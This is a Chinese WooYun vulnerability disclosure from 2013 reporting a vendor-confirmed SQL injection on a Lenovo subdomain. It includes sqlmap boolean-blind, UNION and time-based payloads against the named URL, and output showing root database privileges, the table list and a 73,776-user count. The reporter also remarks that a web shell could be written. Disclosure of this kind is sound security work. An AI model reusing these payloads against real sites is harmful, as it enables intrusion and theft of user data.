当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-035358

漏洞标题:联想安全问题十一某分站ROOT权限伪静态注射(73776用户数据危险)

相关厂商:联想

漏洞作者: VIP

提交时间:2013-08-27 10:27

修复时间:2013-10-11 10:28

公开时间:2013-10-11 10:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-27: 细节已通知厂商并且等待厂商处理中
2013-08-27: 厂商已经确认,细节仅向厂商公开
2013-09-06: 细节向核心白帽子及相关领域专家公开
2013-09-16: 细节向普通白帽子公开
2013-09-26: 细节向实习白帽子公开
2013-10-11: 细节向公众公开

简要描述:

漏洞好多哦,权限好高哦,理论上可以写shell哦。

详细说明:

注射点

http://voice.lenovo.com.cn:80/Video/amember/pic/1/id/2


伪静态注射一枚

漏洞证明:

---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://voice.lenovo.com.cn:80/Video/amember/pic/1/id/2) AND 6959=69
59 AND (6436=6436
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: http://voice.lenovo.com.cn:80/Video/amember/pic/1/id/2) UNION ALL S
ELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71777a7a71,0x744242694d7957634446,0x716b
736f71),NULL,NULL,NULL,NULL--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://voice.lenovo.com.cn:80/Video/amember/pic/1/id/2) AND SLEEP(5
) AND (3326=3326
---


web server operating system: Linux CentOS 6.3
web application technology: Apache 2.2.15
back-end DBMS: MySQL 5.0.11


权限好高

[09:35:13] [INFO] fetching current user
current user: 'root@localhost'


当前库

current database:    'voice'


23个表

Database: voice
[23 tables]
+--------------+
| tb_access |
| tb_backpk |
| tb_cat |
| tb_config |
| tb_down |
| tb_members |
| tb_news |
| tb_node |
| tb_pics |
| tb_pkfscores |
| tb_pks |
| tb_pkscores |
| tb_qi |
| tb_role |
| tb_role_user |
| tb_scores |
| tb_shares |
| tb_star |
| tb_teachers |
| tb_teams |
| tb_user |
| tb_users |
| tb_videos |
+--------------+


好多用户

+----------+---------+
| Table | Entries |
+----------+---------+
| tb_users | 73776 |
+----------+---------+

修复方案:

过滤吧

版权声明:转载请注明来源 VIP@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-08-27 14:11

厂商回复:

感谢您对联想安全做出的贡献!我们将立即评估与修复相关漏洞

最新状态:

暂无


漏洞评价:

评论

  1. 2013-08-27 10:35 | 养乐多Ngan ( 普通白帽子 | Rank:652 漏洞数:72 | Hello,world.其实最大的漏洞,是人心。)

    我滴神啊!!前排占座!

  2. 2013-08-27 10:36 | 养乐多Ngan ( 普通白帽子 | Rank:652 漏洞数:72 | Hello,world.其实最大的漏洞,是人心。)

    一个漏洞平均15分来计算,你已经要刷了165分了!Ps:保守估计。。

  3. 2013-08-27 11:03 | 小痞子 ( 普通白帽子 | Rank:106 漏洞数:21 | <xss>alert("a")</xss>¥&@&……dssKhwjcw...)

    骚年~~~~放开联想 冲我来~

  4. 2013-08-27 11:09 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    骚年~~~~放开联想 冲楼上去~

  5. 2013-08-27 11:53 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    。。。

  6. 2013-10-11 10:51 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)

    你的描述会让联想的人类愤怒的(*¯︶¯*)